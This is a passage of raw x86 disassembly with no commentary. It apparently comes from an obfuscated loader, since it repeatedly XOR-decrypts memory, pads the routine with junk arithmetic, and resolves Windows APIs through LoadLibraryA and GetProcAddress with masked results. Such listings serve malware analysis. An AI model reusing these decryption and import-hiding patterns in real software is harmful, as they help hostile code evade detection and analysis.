lea ecx, [eax + 0x123d4]
add eax, 0x20328
xor eax, dword [ecx]
xor eax, 0xdccecfe4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x93bf]
add eax, 0x27c98
xor eax, dword [ecx]
xor eax, 0xdcceb054
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36a78]
add eax, 0x1dafb
xor eax, dword [ecx]
xor eax, 0xdccd1637
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13924]
add eax, 0x202f4
xor eax, dword [ecx]
xor eax, 0xdccece38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19ae9]
add eax, 0xa90ec
xor eax, dword [ecx]
xor eax, 0xdcc65c20
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1206b]
add eax, 0x2007c
xor eax, dword [ecx]
xor eax, 0xdcceccb0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1802a]
add eax, 0x3606c
xor eax, dword [ecx]
xor eax, 0xdccfaca0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34090]
add eax, 0x1f60b
xor eax, dword [ecx]
xor eax, 0xdccd3ac7
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe4d3]
add eax, 0x25108
xor eax, dword [ecx]
xor eax, 0xdcce9dc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ec4]
add eax, 0x2da0
xor eax, dword [ecx]
xor eax, 0xdccce16c
mov dword [ecx], eax
mov eax, dword [0x10105abc]
mov ecx, eax
imul ecx, eax
mov eax, dword [0x10107300]
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x12923]
add eax, 0x24e28
xor eax, dword [ecx]
xor eax, 0xdcce82e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
xor ecx, dword [0x1010536c]
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x163cc]
add eax, 0x20f88
xor eax, dword [ecx]
xor eax, 0xdccec344
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5fc9]
add eax, 0x1f54b
xor eax, dword [ecx]
xor eax, 0xdccd3987
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3370c]
add eax, 0x3376c
xor eax, dword [ecx]
mov edx, 0xdcceb8f8
xor eax, 0xdccffba0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e5c]
add eax, 0x27434
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0xc5
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c34]
add eax, 0x27434
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x178f6]
add eax, 0x17a20
xor eax, dword [ecx]
xor eax, 0xdccdb6ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4008]
add eax, 0x26d5c
xor eax, dword [ecx]
xor eax, 0xdccea190
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, eax
mov dword [0x10105ab8], eax
push dword [0x10107300]
push dword [0x10105368]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002e868
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11387]
add eax, 0x200f4
xor eax, dword [ecx]
push 0x1010742c
xor eax, 0xdccecc38
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [0x10103e60], 0
lea ecx, [eax + 0xb7dc]
push dword [esp + 0x48]
add eax, 0xa5a28
xor eax, dword [ecx]
xor eax, 0xdcc696e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15930]
add eax, 0x147ac
xor eax, dword [ecx]
xor eax, 0xdccd8b60
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20230
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x101074f0
xor ecx, 0xcccf864e
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13f87]
add eax, 0x13d70
xor eax, dword [ecx]
push ebp
xor eax, 0xdccdf1bc
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20080
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107b8d
xor ecx, 0xcccf87d4
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3f8]
add eax, 0xa5688
xor eax, dword [ecx]
push dword [esp + 0x28]
xor eax, 0xdcc69a44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2d0a]
add eax, 0xa59ed
xor eax, dword [ecx]
xor eax, 0xdcc69521
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34004]
add eax, 0x1f5c0
xor eax, dword [ecx]
xor eax, 0xdccd390c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20274
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9d88
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33560]
add eax, 0x3352c
xor eax, dword [ecx]
xor eax, 0xdccff9e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5a40]
add eax, 0x202c8
xor eax, dword [ecx]
xor eax, 0xdccece04
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x23fa4]
add eax, 0x23f10
xor eax, dword [ecx]
xor eax, 0xdccef3dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10105abc]
sub ecx, eax
mov dword [0x101062e4], ecx
lea ecx, [eax + 0x4c1f]
add eax, 0xa5a14
xor eax, dword [ecx]
xor eax, 0xdcc696d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x5bf7]
add eax, 0x202c4
xor eax, dword [ecx]
xor eax, 0xdccece08
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15950]
add eax, 0x14be9
xor eax, dword [ecx]
xor eax, 0xdccd8725
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x337f0]
add eax, 0x337fc
xor eax, dword [ecx]
xor eax, 0xdccffb30
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa242]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10103e64]
or dword [0x10106ae8], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d165]
add eax, 0x36b7c
xor eax, dword [ecx]
xor eax, 0xdccfa7b0
mov dword [ecx], eax
mov eax, dword [0x10105abc]
imul eax, eax, 0xa1c0d34d
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4839]
add eax, 0x202d8
xor eax, dword [ecx]
xor eax, 0xdccece14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40b4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4548]
add eax, 0x263c0
xor eax, dword [ecx]
xor eax, 0xdcceaf0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
and dword [esp + 0x14], eax
lea ecx, [eax + 0x256d4]
add eax, 0x33040
xor eax, dword [ecx]
xor eax, 0xdccffc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x163ed]
add eax, 0x20f48
xor eax, dword [ecx]
push 0x10107816
xor eax, 0xdccec384
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa493c]
add eax, 0x2649c
xor eax, dword [ecx]
push ebp
xor eax, 0xdccea850
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x192c4]
add eax, 0x201a8
xor eax, dword [ecx]
xor eax, 0xdccecd64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a8e1]
add eax, 0xa8fc4
xor eax, dword [ecx]
xor eax, 0xdcc64308
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1779c]
add eax, 0x177a8
xor eax, dword [ecx]
xor eax, 0xdccdbb64
mov dword [ecx], eax
mov eax, dword [0x10107300]
add dword [0x10105abc], eax
lea ecx, [eax + 0x3312c]
add eax, 0x36f2c
xor eax, dword [ecx]
xor eax, 0xdccfa3e0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x107d3]
add eax, 0x200a4
xor eax, dword [ecx]
xor eax, 0xdccecc68
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19b0d]
add eax, 0xa90f8
xor eax, dword [ecx]
xor eax, 0xdcc65c34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1760d]
add eax, 0xa4bf0
xor eax, dword [ecx]
xor eax, 0xdcc6873c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x328b0]
add eax, 0x12a50
xor eax, dword [ecx]
xor eax, 0xdccde69c
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2014c
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8214
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a0c4]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
or eax, dword [0x1010536c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0x1d
push dword [0x10107300]
push dword [0x10105ab8]
push dword [0x10106ae8]
push section..data
call fcn.1001555e
mov eax, dword [0x10105ab8]
xor dword [esp + 0x18], eax
dec dword [esp + 0x1c]
jne 0x1002ec89
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140a5]
add eax, 0xa5a6c
xor eax, dword [ecx]
mov dword [esp + 0x1c], 0x53
xor eax, 0xdcc696a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370fc]
add eax, 0x31298
xor eax, dword [ecx]
xor eax, 0xdccfde54
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x24000]
add eax, 0x23ec0
xor eax, dword [ecx]
xor eax, 0xdccef20c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x229c]
add eax, 0x24dd8
xor eax, dword [ecx]
xor eax, 0xdcce8114
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x862f]
add eax, 0x27bac
xor eax, dword [ecx]
xor eax, 0xdcceb760
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x6614]
add eax, 0x200b4
xor eax, dword [ecx]
xor eax, 0xdccecc78
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14e9d]
add eax, 0x20d68
xor eax, dword [ecx]
xor eax, 0xdccec1a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2905c]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb741]
add eax, 0x20048
xor eax, dword [ecx]
xor eax, 0xdccecc84
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10103e64]
push dword [0x10106ae8]
push section..data
call fcn.1001555e
dec dword [esp + 0x1c]
jne 0x1002ed9d
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33498]
add eax, 0x334b0
xor eax, dword [ecx]
push 0x10107e92
xor eax, 0xdccff87c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ee8]
add eax, 0x26fd0
xor eax, dword [ecx]
push dword [esp + 0x34]
xor eax, 0xdccea31c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d98]
add eax, 0x271a0
xor eax, dword [ecx]
xor eax, 0xdccebd6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29068]
add eax, 0xf070
xor eax, dword [ecx]
xor eax, 0xdccc3cbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xad7c]
add eax, 0x27f10
xor eax, dword [ecx]
xor eax, 0xdcceb3dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20038
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov edx, dword [esp + 0x18]
xor ecx, 0xcccf9f3c
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x122ec]
add eax, 0x32578
xor eax, dword [ecx]
xor eax, 0xdccfe9b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x338d8]
add eax, 0x338dc
xor eax, dword [ecx]
xor eax, 0xdccff410
mov dword [ecx], eax
mov eax, dword [0x101062e4]
or eax, edx
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9ea6]
add eax, 0xa49bc
xor eax, dword [ecx]
xor eax, 0xdcc68570
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33290]
add eax, 0x33294
xor eax, dword [ecx]
xor eax, 0xdccffe58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xaa82]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11fee]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x214d]
add eax, 0x24f7c
xor eax, dword [ecx]
xor eax, 0xdcce83b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9e31]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, 0xdccecc60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36b84]
add eax, 0xa55bc
xor eax, dword [ecx]
xor eax, 0xdcc69970
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25ba]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d998]
add eax, 0x1d9a4
xor eax, dword [ecx]
xor eax, 0xdccd1568
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36d60]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1807a]
add eax, 0x201a8
xor eax, dword [ecx]
xor eax, 0xdccecd64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36aa8]
add eax, 0x24a30
xor eax, dword [ecx]
xor eax, 0xdcce86fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37d9]
add eax, 0x256f4
xor eax, dword [ecx]
xor eax, 0xdcce9a38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3e9c]
add eax, 0x5dec0
xor eax, dword [ecx]
xor eax, 0xdcc9120c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a42d]
add eax, 0x36320
xor eax, dword [ecx]
xor eax, 0xdccfafec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1d501]
add eax, 0x20164
xor eax, dword [ecx]
xor eax, 0xdccecda8
mov dword [ecx], eax
lea eax, [edx + edx]
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36a7c]
add eax, 0x1dafb
xor eax, dword [ecx]
xor eax, 0xdccd1637
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29144]
add eax, 0x65e0
xor eax, dword [ecx]
push 0x10107f65
xor eax, 0xdccca92c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18280]
add eax, 0x20090
xor eax, dword [ecx]
xor eax, 0xdccecc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3b2b]
add eax, 0x25560
xor eax, dword [ecx]
xor eax, 0xdcce99ac
mov dword [ecx], eax
call sub.KERNEL32.dll_LoadLibraryA
mov dword [esp + 0x1c], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4954]
add eax, 0x27434
xor eax, dword [ecx]
mov dword [esp + 0x2c], 0x2b4
xor eax, 0xdcceb8f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8b07]
add eax, 0x230f8
xor eax, dword [ecx]
xor eax, 0xdccefc34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3a9c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a158]
add eax, 0x36064
xor eax, dword [ecx]
xor eax, 0xdccfaca8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x334a4]
add eax, 0x33080
xor eax, dword [ecx]
xor eax, 0xdccffc4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b0c1]
add eax, 0xa52f4
xor eax, dword [ecx]
xor eax, 0xdcc69e38
mov dword [ecx], eax
mov eax, dword [0x10103e64]
add eax, 0x359c74eb
mov dword [0x101062e0], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18aab]
add eax, 0x361f0
xor eax, dword [ecx]
xor eax, 0xdccfad3c
mov dword [ecx], eax
push dword [0x10107300]
mov eax, dword [0x10106ae8]
push eax
push eax
push section..data
call fcn.1001555e
dec dword [esp + 0x2c]
jne 0x1002f171
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe8e6]
add eax, 0x2013c
xor eax, dword [ecx]
push 0x10107685
xor eax, 0xdccecdf0
mov dword [ecx], eax
mov eax, dword [esp + 0x1c]
and eax, 0xa9cb83a1
mov dword [esp + 0x24], eax
mov eax, dword [0x101062e0]
add eax, eax
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15143]
add eax, 0x20d28
xor eax, dword [ecx]
push ebp
xor eax, 0xdccec1e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x200e8
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf8022
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf4bd]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4590]
add eax, 0x26358
xor eax, dword [ecx]
xor eax, 0xdcceaf94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20ecc]
add eax, 0x20e48
xor eax, dword [ecx]
xor eax, 0xdccec284
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3359c]
add eax, 0x335f0
xor eax, dword [ecx]
xor eax, 0xdccff93c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x67c9]
add eax, 0x27998
xor eax, dword [ecx]
xor eax, 0xdcceb554
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa41e4]
add eax, 0x7e4c8
xor eax, dword [ecx]
xor eax, 0xdccb2804
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xfe96]
add eax, 0x20150
xor eax, dword [ecx]
xor eax, 0xdccecd9c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b837]
add eax, 0x36960
xor eax, dword [ecx]
xor eax, 0xdccfa5ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x66bc]
add eax, 0x25088
xor eax, dword [ecx]
xor eax, 0xdcce9c44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16ccc]
add eax, 0xa4bec
xor eax, dword [ecx]
mov dword [esp + 0x2c], 0x14a
xor eax, 0xdcc68720
mov dword [ecx], eax
mov eax, dword [0x10107300]
push eax
push dword [0x101062e0]
push dword [0x10105ab8]
push section..data
call fcn.1001555e
mov eax, dword [0x10107300]
mov ecx, dword [0x1010536c]
add ecx, eax
dec dword [esp + 0x2c]
mov dword [0x101062e4], ecx
jne 0x1002f306
lea ecx, [eax + 0xb1e7]
add eax, 0xa5a14
xor eax, dword [ecx]
push 0x73
xor eax, 0xdcc696d8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa8fb]
add eax, 0xa56a0
xor eax, dword [ecx]
push dword [esp + 0x38]
xor eax, 0xdcc69a6c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa43e4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12151]
add eax, 0x32898
xor eax, dword [ecx]
xor eax, 0xdccfe454
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20334
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
push 0x10107841
xor ecx, 0x4cccccbf
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3c64]
add eax, 0x273c0
xor eax, dword [ecx]
push ebp
xor eax, 0xdccebf0c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16988]
add eax, 0x21408
xor eax, dword [ecx]
xor eax, 0xdcced8c4
mov dword [ecx], eax
mov eax, dword [0x10105ab8]
or eax, dword [0x10105368]
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e2ca]
add eax, 0x32afc
xor eax, dword [ecx]
xor eax, 0xdccfe630
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x14082]
add eax, 0xa5a50
xor eax, dword [ecx]
xor eax, 0xdcc6969c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x123ee]
add eax, 0x202e0
xor eax, dword [ecx]
xor eax, 0xdccece2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17f16]
add eax, 0x3606c
xor eax, dword [ecx]
xor eax, 0xdccfaca0
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20158
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov edx, dword [esp + 0x20]
xor ecx, 0xcccf83c6
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7e6c]
add eax, 0x20338
xor eax, dword [ecx]
xor eax, 0xdccecff4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf692]
add eax, 0x27c96
xor eax, dword [ecx]
xor eax, 0xdcceb05a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa39c0]
add eax, 0x2783c
xor eax, dword [ecx]
xor eax, 0xdcceb4f0
mov dword [ecx], eax
mov eax, dword [0x1010536c]
imul eax, edx
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9329]
add eax, 0x27c98
xor eax, dword [ecx]
xor eax, 0xdcceb054
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10cb6]
add eax, 0x3233c
xor eax, dword [ecx]
xor eax, 0xdccfeff0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a88d]
add eax, 0xa51e0
xor eax, dword [ecx]
xor eax, 0xdcc69d2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x29124]
add eax, 0x33460
xor eax, dword [ecx]
xor eax, 0xdccff8ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33600]
add eax, 0x339f8
xor eax, dword [ecx]
xor eax, 0xdccff534
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3dd8]
add eax, 0x23038
xor eax, dword [ecx]
xor eax, 0xdccefcf4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc0b4]
add eax, 0x25310
xor eax, dword [ecx]
xor eax, 0xdcce9fdc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4474]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10106ae8]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0xb8d9]
add eax, 0x28674
xor eax, dword [ecx]
xor eax, 0xdcce4ab8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa41cc]
add eax, 0x7df68
xor eax, dword [ecx]
xor eax, 0xdccb13a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1dae]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10105368]
xor eax, dword [esp + 0x14]
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2efd]
add eax, 0x23058
xor eax, dword [ecx]
xor eax, 0xdccefc94
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10103e60]
add ecx, eax
mov dword [0x10105abc], ecx
lea ecx, [eax + 0x16b71]
add eax, 0x21008
xor eax, dword [ecx]
xor eax, 0xdccedcc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34204]
add eax, 0x1f740
xor eax, dword [ecx]
xor eax, 0xdccd3b8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1ea13]
add eax, 0x1f864
xor eax, dword [ecx]
xor eax, 0xdccd34a8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4694]
add eax, 0x92538
xor eax, dword [ecx]
xor eax, 0xdcc5e9f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa2c6]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10103e64]
xor dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33a34]
add eax, 0x33a38
xor eax, dword [ecx]
xor eax, 0xdccff6f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa39d]
add eax, 0xa5a0c
xor eax, dword [ecx]
xor eax, 0xdcc696c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa41a]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10105abc]
add ecx, eax
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x33768]
add eax, 0x3376c
xor eax, dword [ecx]
xor edx, 0xa6a7832d
xor eax, 0xdccffba0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11350]
add eax, 0x200f4
xor eax, dword [ecx]
xor eax, 0xdccecc38
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b10f]
add eax, 0x36064
mov dword [0x101062e4], edx
xor eax, dword [ecx]
xor eax, 0xdccfaca8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1566]
add eax, 0x202d8
xor eax, dword [ecx]
xor eax, 0xdccece14
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33b70]
add eax, 0x17be4
xor eax, dword [ecx]
xor eax, 0xdccdb728
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4b6c]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbd6a]
add eax, 0x25108
xor eax, dword [ecx]
xor eax, 0xdcce9dc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x2083]
add eax, 0x24f0c
xor eax, dword [ecx]
xor eax, 0xdcce83c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xea02]
add eax, 0xa5a40
xor eax, dword [ecx]
xor eax, 0xdcc6968c
mov dword [ecx], eax
mov eax, dword [0x1010536c]
sub eax, dword [0x101062e4]
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33540]
add eax, 0x32cc0
xor eax, dword [ecx]
xor eax, 0xdccfe00c
mov dword [ecx], eax
